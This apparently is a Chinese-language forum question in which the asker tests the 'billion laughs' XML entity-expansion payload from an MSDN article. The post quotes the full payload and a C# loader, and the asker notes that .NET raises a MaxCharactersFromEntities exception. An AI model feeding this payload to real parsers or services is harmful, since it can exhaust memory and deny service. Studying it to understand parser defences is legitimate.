我正在尝试从MSDN 杂志页面测试 XML 代码，它说以下代码行在处理时会导致内存使用量增加到 3GB。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当我尝试将该文本粘贴到 Visual Studio 中的 xml 文件中时，它确实显示出内存和 CPU 使用率的增加。但是，当我尝试将其放入文本文件而不是 XML 文件并使用 c# 加载时，它没有任何影响。
更新：我认为 LoadXml 方法应该会产生影响，但我想这不是处理部分。当我试图得到第一个孩子时，它（即 c#）抛出了一个异常，告诉它MaxCharactersFromEntities超出了。
更新：这也是我的代码：
using System;
using System.Xml;
namespace BillionLaughsAttack
{
class Program
{
//The file containing the billion laughs mentioned previously
//a txt file: Since an xml file causes visual studio to parse
static String xmlFileLocation = "./MyData/DeepXML.txt";
static void Main(string[] args)
{
String xmlContent = null;
System.IO.StreamReader sr;
System.Xml.XmlDocument document = new XmlDocument();
try
{
sr = new System.IO.StreamReader(xmlFileLocation);
xmlContent = sr.ReadToEnd();
//Load xml containing Billion Laughs Attack (this won't do anything!)
document.LoadXml(xmlContent);
//Proces xml by getting first child (this will cause an exception!)
String val = document.FirstChild.Value;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}